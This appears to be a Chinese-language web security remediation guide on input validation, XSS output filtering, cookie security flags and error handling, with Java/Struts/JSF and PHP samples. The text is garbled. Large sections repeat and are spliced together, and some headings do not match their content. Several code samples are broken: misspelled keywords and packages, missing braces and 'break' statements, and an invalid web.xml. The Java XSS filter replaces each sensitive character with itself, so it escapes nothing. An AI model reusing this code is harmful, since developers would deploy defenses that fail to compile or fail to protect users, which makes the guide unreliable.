        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required, mask">
        <!-- message resource key to display if validation fails -->
        <msg name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        <var>
        <var-name>mask</var-name>
        <var-value>^[a-zA-Z0-9]*$</var-value>
        </var>
        </field>
        </form>
   </formset>
</form-validation>
```

Struts JSP 标记库定义了有条件地显示一组累计错误消息的"errors"标记,如以下示例所示:

```
<%@ page language="java" %>
%%0 taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%0 taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<html:html>
<head>
<body>
   <html:form action="/logon.do">
   <html:errors property="username"/>
      <bean:message key="prompt.username"/>
       <html:text property="username" size="16"/>
      <html:submit><bean:message key="button.submit"/></html:submit>
   <html:reset><bean:message key="button.reset"/></html:reset>
   </html:form>
</body>
</html:html>
```

[2] JavaServer Faces 技术

^{*}JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。

JavaServer Faces API 定义"output_errors"UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术一

http://java.sun.com/j2ee/javaserverfaces/

整数溢出

- ** 输入数据验证: ** 输入数据验证: 虽然为方便用户而在客户端层上提供数据验证,但仍必须使用 Servlet 在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
- 一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:
- [1] 必需字段
- [2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串")
- [3] 字段长度
- [4] 字段范围
- [5] 字段选项
- [6] 字段模式
- [7] cookie 值
- [8] HTTP 响应好的做法是将以上例程作为"验证器"实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。
- [1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// Java example to validate required fields
public Class Validator {
    ...
    public static boolean validateRequired(String value) {
        boolean isFieldValid = false;
        if (value != null && value.trim().length() > 0) {
        isFieldValid = true;
        }
        return isFieldValid;
    }
    ...
```

```
}
...
String fieldValue = request.getParameter("fieldName");
if (Validator.validateRequired(fieldValue)) {
    // fieldValue is valid, continue processing request
    ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

```
// Java example to validate that a field is an int number
public Class Validator {
    ...
    public static boolean validateInt(String value) {
        boolean isFieldValid = false;
        try {
            Integer.parseInt(value);
            isFieldValid = true;
        } catch (Exception e) {
            isFieldValid = false;
        }
        return isFieldValid;
    }
    ...
}

// Check if the HTTP request parameter is of type int
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
        // fieldValue is valid, continue processing request
        ...
}
```

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,将请求参数的"integerValue"存储在请求属性中,并按以下示例所示来使用:

```
// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter("fieldName");
if (Validator.validateInt(fieldValue)) {
    // convert fieldValue to an Integer
    Integer integerValue = Integer.getInteger(fieldValue);
    // store integerValue in a request attribute
    request.setAttribute("fieldName", integerValue);
}
...
// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute("fieldName");
...
```

应用程序应处理的主要 Java 数据类型:

- Byte
- Short
- Integer
- Long

- Float
- Double
- Date

[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:

```
// Example to validate the field length
public Class Validator {
    ...
    public static boolean validateLength(String value, int minLength, int maxLength) {
        String validatedValue = value;
        if (!validateRequired(value)) {
            validatedValue = "";
        }
        return (validatedValue.length() >= minLength &&
            validatedValue.length() <= maxLength);
        }
        ...
}

String userName = request.getParameter("userName");
if (Validator.validateRequired(userName)) {
        if (Validator.validateLength(userName, 8, 20)) {
            // userName is valid, continue further processing
            ...
        }
}</pre>
```

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

```
// Example to validate user selection against a list of options
public Class Validator {
    ...
    public static boolean validateOption(Object[] options, Object value) {
        boolean isValidValue = false;
```

```
try {
    List list = Arrays.asList(options);
    if (list != null) {
        isValidValue = list.contains(value);
    }
    } catch (Exception e) {
    }
    return isValidValue;
    }
    ...
}
    ...
// Allowed options
String[] options = {"option1", "option2", "option3");
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter("userSelection");
if (Validator.validateOption(options, userSelection)) {
    // valid user selection, continue processing request
    ...
}
```

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: ^[a-zA-Z0-9]*\$

Java 1.3 或更早的版本不包含任何正则表达式包。建议将"Apache 正则表达式包"(请参阅以下"资源")与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

```
// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package
import org.apache.regexp.RE;
import org.apache.regexp.RESyntaxException;
public Class Validator {
    public static boolean matchPattern(String value, String expression) {
       boolean match = false;
        if (validateRequired(expression)) {
        RE r = new RE(expression);
       match = r.match(value);
        return match;
   }
}
// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter("userName");
if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
   // userName is valid, continue processing request
```

Java 1.4 引进了一种新的正则表达式包 (java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

```
// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package
import java.util.regex.Pattern;
import java.util.regexe.Matcher;
public Class Validator {
    ...
    public static boolean matchPattern(String value, String expression) {
        boolean match = false;
        if (validateRequired(expression)) {
```

```
match = Pattern.matches(expression, value);
}
return match;
}
....
}
```

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。验证必需 cookie 值的示例:

```
// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
    // find the "user" cookie
    for (int i=0; i<cookies.length; ++i) {
        if (cookies[i].getName().equals("user")) {
            // validate the cookie value
            if (Validator.validateRequired(cookies[i].getValue()) {
            // valid cookie value, continue processing request
            ...
        }
    }
}</pre>
```

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符: <>"'%;)(&+

以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

```
// Example to filter sensitive data to prevent cross-site scripting
public Class Validator {
   public static String filter(String value) {
      if (value == null) {
       return null;
       StringBuffer result = new StringBuffer(value.length());
       for (int i=0; i<value.length(); ++i) {
       switch (value.charAt(i)) {
       case '<':
       result.append("<");
       break;
       case '>':
       result.append(">");
       break;
case '"':
       result.append(""");
       break;
       case '\'':
       result.append("'");
       case '%':
       result.append("%");
       break;
       case ';':
       result.append("&#59;");
       break;
       result.append("(");
      case ')':
```

```
result.append(")");
       break;
       case '&':
       result.append("&");
       break;
       case '+':
       result.append("+");
       break;
       default:
       result.append(value.charAt(i));
       return result;
   }
}
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response
out.write(Validator.filter(response));
out.close();
```

Java Servlet API 2.3 引进了"过滤器",它支持拦截和转换 HTTP 请求或响应。 以下示例使用 Validator.filter 来用"Servlet 过滤器"清理响应:

```
\ensuremath{//} Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including
HTML tags!
  public class SensitiveCharsFilter implements Filter {
      public void doFilter(ServletRequest request,
         ServletResponse response,
          FilterChain chain)
          throws IOException, ServletException {
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);
          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));
          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      \verb|public class CharResponseWrapper extends | \verb| HttpServletResponseWrapper | \\
          private CharArrayWriter output;
          public String toString() {
          return output.toString();
          public CharResponseWrapper(HttpServletResponse response) {
          super (response);
          output = new CharArrayWriter();
          public PrintWriter getWriter() {
          return new PrintWriter(output);
  }
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。 保护"用户"cookie 的示例:

```
// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol
Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure(true);
response.addCookie(cookie);
```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。Jakarta Commons Validator 是一种强大的框架,用来实现所有以上数据验证需求。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts"bean:write"标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置"filter=false"标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required: 如果字段包含空格以外的任何字符, 便告成功。

mask: 如果值与掩码属性给定的正则表达式相匹配,便告成功。

range: 如果值在 min 和 max 属性给定的值的范围内 ((value >= min) & (value <= max)), 便告成功。

maxLength: 如果字段长度小于或等于 max 属性,便告成功。

minLength: 如果字段长度大于或等于 min 属性, 便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date: 如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard: 如果值可以是有效的信用卡号码,便告成功。

e-mail: 如果值可以是有效的电子邮件地址,便告成功。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
    <qlobal>
        <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
        msg="errors.required">
        </validator>
        <validator name="mask"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
        </validator>
    </global>
    <formset>
       <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required, mask">
        <!-- message resource key to display if validation fails -->
        <msg name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        <var-name>mask</var-name>
        <var-value>^[a-zA-Z0-9]*$</var-value>
        </war>
        </field>
        </form>
    </formset>
</form-validation>
```

```
[2] JavaServer Faces 技术
```

"JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件和输入验证的 Java API (JSR 127)。 JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器: validate_doublerange: 在组件上注册 DoubleRangeValidator

validate_length: 在组件上注册 LengthValidator

validate_longrange: 在组件上注册 LongRangeValidator validate_required: 在组件上注册 RequiredValidator validate_stringrange: 在组件上注册 StringRangeValidator

validator: 在组件上注册定制的 Validator

JavaServer Faces API 定义以下 Ullnput 和 UlOutput 处理器 (标记):

input_date:接受以 java.text.Date 实例格式化的 java.util.Date output date:显示以 java.text.Date 实例格式化的 java.util.Date

input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date

input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)

input_text:接受单行文本字符串。output_text:显示单行文本字符串。

input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date

input hidden: 允许页面作者在页面中包括隐藏变量

input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号

input_textarea:接受多行文本

output errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息

output label:将嵌套的组件显示为指定输入字段的标签

output_message: 显示本地化消息

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 一

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循"模型视图控制器(MVC)"模式。在该模式中,Servlet 扮演"控制器"的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。

数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

- [1] 定义错误
- [2] 报告错误
- [3] 呈现错误
- [4] 错误映射
- [1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要 "user name"字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

- (a) ERROR USERNAME REQUIRED: 该错误密钥用于显示消息,以通知用户需要 "user name" 字段;
- (b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户 "user_name"字段应该是字母数字:
- (c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户 "user_name" 值在数据库中重复;
- (d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户 "user_name" 值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys: 定义所有错误密钥

```
// Example: ErrorKeys defining the following error keys:
// - ERROR_USERNAME_REQUIRED
// - ERROR_USERNAME_ALPHANUMERIC
// - ERROR_USERNAME_DUPLICATE
// - ERROR_USERNAME_INVALID
// ...
public Class ErrorKeys {
   public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
   public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
   public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
   public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
   ...
}
```

- Error: 封装个别错误

```
// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

    // Constructor given a specified error key
    public Error(String key) {
        this(key, null);
    }

    // Constructor given a specified error key and array of placeholder objects
    public Error(String key, Object[] values) {
        this.key = key;
        this.values = values;
    }

    // Returns the error key
    public String getKey() {
        return this.key;
    }
}
```

```
// Returns the placeholder values
public Object[] getValues() {
  return this.values;
}

private String key = null;
private Object[] values = null;
}
```

- Errors: 封装错误的集合

```
// Example: Errors encapsulates the Error objects being reported to the presentation layer.
// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArrayList of Error objects.
public Class Errors implements Serializable {
    // Adds an Error object to the Collection of errors for the specified bean property.
    public void addError(String property, Error error) {
    ArrayList propertyErrors = (ArrayList)errors.get(property);
   if (propertyErrors == null) {
   propertyErrors = new ArrayList();
    errors.put(property, propertyErrors);
   propertyErrors.put(error);
    // Returns true if there are any errors
    public boolean hasErrors() {
    return (errors.size > 0);
   // Returns the Errors for the specified property
   public ArrayList getErrors(String property) {
    return (ArrayList)errors.get(property);
   private HashMap errors = new HashMap();
```

以下是使用上述框架类来处理"user_name"字段验证错误的示例:

```
// Example to process validation errors of the "user name" field.
Errors errors = new Errors();
String userName = request.getParameter("user name");
// (a) Required validation rule
if (!Validator.validateRequired(userName)) {
    errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
} // (b) Alpha-numeric validation rule
else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
   errors.addError("user name", new Error(ErrorKeys.ERROR USERNAME ALPHANUMERIC));
else
    // (c) Duplicate check validation rule
    // We assume that there is an existing UserValidationEJB session bean that implements
    \//\ a checkIfDuplicate() method to verify if the user already exists in the database.
    try {
        if (UserValidationEJB.checkIfDuplicate(userName)) {
        errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
    } catch (RemoteException e) {
        // log the error
        logger.error("Could not validate user for specified userName: " + userName);
```

```
errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
}
// set the errors object in a request attribute called "errors"
request.setAttribute("errors", errors);
...
```

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

- (a) Servlet 错误机制
- (b) JSP 错误机制

[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP (已将错误存储在请求属性中),或
- 使用 HTTP 错误代码参数来调用 response.sendError, 或
- 抛出异常

好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

```
// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
if (rd != null) {
   rd.forward(request, response);
}
```

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类:

- RuntimeException
- ServletException
- IOException

[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

```
<%@ page errorPage="/errors/userValidation.jsp" %>
```

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令,如下所示:

```
<%@ page isErrorPage="true" %>
```

isErrorPage 伪指令导致"exception"变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

- (a) 资源束
- (b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。 13-b1 消息数式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

```
// Example to show how to format a message using placeholder parameters
String pattern = "User name {0} already exists, please choose another one";
String userName = request.getParameter("user_name");
Object[] args = new Object[1];
args[0] = userName;
String message = MessageFormat.format(pattern, args);
```

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

```
// Example to render an error message from a localized ErrorMessages resource (properties file)
// Utility class to retrieve locale-specific error messages
public Class ErrorMessageResource {
    // Returns the error message for the specified error key in the environment locale
    public String getErrorMessage(String errorKey) {
```

```
return getErrorMessage(errorKey, defaultLocale);
    // Returns the error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Locale locale) {
       return getErrorMessage(errorKey, null, locale);
    // Returns a formatted error message for the specified error key in the specified locale
    public String getErrorMessage(String errorKey, Object[] args, Locale locale) {
       // Get localized ErrorMessageResource
        ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
        // Get localized error message
        String errorMessage = errorMessageResource.getString(errorKey);
        if (args != null) {
        // Format the message using the specified placeholders args
        return MessageFormat.format(errorMessage, args);
        } else {
       return errorMessage;
    // default environment locale
    private Locale defaultLocale = Locale.getDefaultLocale();
// Get the user's locale
Locale userLocale = request.getLocale();
// Check if there were any validation errors
Errors errors = (Errors)request.getAttribute("errors");
if (errors != null && errors.hasErrors()) {
    // iterate through errors and output error messages corresponding to the "user name" property
   ArrayList userNameErrors = errors.getErrors("user name");
    ListIterator iterator = userNameErrors.iterator();
    while (iterator.hasNext()) {
        // Get the next error object
       Error error = (Error)iterator.next();
       String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
        output.write(errorMessage + "\r\n");
}
```

建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。

[4] 错误映射

通常情况下,"Servlet 容器"会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在"Web 部署描述符(web.xml)"中,如以下示例所指定:

```
<!-- Mapping of HTTP error codes and application exceptions to error pages -->
<error-page>
  <exception-type>UserValidationException</exception-type>
  <location>/errors/validationError.html</error-page>
</error-page>
  <error-page>
  <error-code>500</exception-type>
  <location>/errors/internalError.html</error-page>
  <error-page>
  <error-page>
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```

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 是 Java 框架,定义如上所述的错误

处理机制。Jakarta Commons Validator 是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用"Struts 验证器"来验证 loginForm 的 userName 字段的示例:

```
<form-validation>
    <global>
        <validator name="required"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateRequired"
        msg="errors.required">
        </validator>
        <validator name="mask"</pre>
        classname="org.apache.struts.validator.FieldChecks"
        method="validateMask"
        msg="errors.invalid">
       </validator>
    </global>
    <formset>
        <form name="loginForm">
        <!-- userName is required and is alpha-numeric case insensitive -->
        <field property="userName" depends="required,mask">
        <!-- message resource key to display if validation fails -->
        <msg name="mask" key="login.userName.maskmsg"/>
        <arg0 key="login.userName.displayname"/>
        <var>
        <var-name>mask</var-name>
        <var-value>^[a-zA-Z0-9]*$</var-value>
        </var>
        </field>
        </form>
    </formset>
</form-validation>
```

Struts JSP 标记库定义了有条件地显示一组累计错误消息的"errors"标记,如以下示例所示:

```
<%@ page language="java" %>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<head>
<body>
  <html:form action="/logon.do">
   <html:errors property="username"/>
      <bean:message key="prompt.username"/>
      <html:text property="username" size="16"/>
      <html:submit><bean:message key="button.submit"/></html:submit>
   <html:reset><bean:message key="button.reset"/></html:reset>
   </html:form>
</body>
</html:html>
```

[2] JavaServer Faces 技术

*JavaServer Faces 技术"是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。

JavaServer Faces API 定义"output_errors"UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 一

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 一

http://java.sun.com/j2ee/javaserverfaces/

PHP

应用程序错误

- ** 输入数据验证: ** 输入数据验证: 虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
- 一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:
- [1] 必需字段
- [2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是"字符串")
- [3] 字段长度
- [4] 字段范围
- [5] 字段选项
- [6] 字段模式
- [7] cookie 值
- [8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。
- [1] 必需字段"始终"检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

```
// PHP example to validate required fields
function validateRequired($input) {
    ...
    $pass = false;
    if (strlen(trim($input))>0) {
          $pass = true;
    }
    return $pass;
    ...
}

...
if (validateRequired($fieldName)) {
    // fieldName is valid, continue processing request
    ...
}
```

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是"字符串"。开发者负责验证输入的数据类型是否正确。[3] 字段长度"始终"确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式: **^**[a-zA-Z0-9]+\$

[7] cookie 值

适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符: <>"'%;)(&+

PHP 包含一些自动化清理实用程序函数,如 htmlentities():

```
$input = htmlentities($input, ENT_QUOTES, 'UTF-8');
```

此外,为了避免"跨站点脚本编制"的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:

```
<?php
header('Content-Type: text/html; charset=UTF-8');
?>
```

[8-2] 保护 cookie

在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。

为了保护 cookie,您可以使用以下代码示例:

```
<$php
```

```
$value = "some_value";
$time = time()+3600;
$path = "/application/";
$domain = ".example.com";
$secure = 1;

setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
?>
```

此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。

在 PHP 5.2.0 中添加了 HttpOnly 标志。

引用[1] 使用 HTTP 专用 cookie 来减轻"跨站点脚本编制"的影响:

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[2] PHP 安全协会:

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整数溢出

- ** 输入数据验证: ** 输入数据验证: 虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。
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```

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服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6]字段模式

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<?php
header('Content-Type: text/html; charset=UTF-8');
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在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。

为了保护 cookie, 您可以使用以下代码示例:

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$time = time()+3600;
$path = "/application/";
$domain = ".example.com";
$secure = 1;

setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
?>
```

此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。

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咨询

IBM WebSphere "WASPostParam" Cookie 反序列号拒绝服务 ™

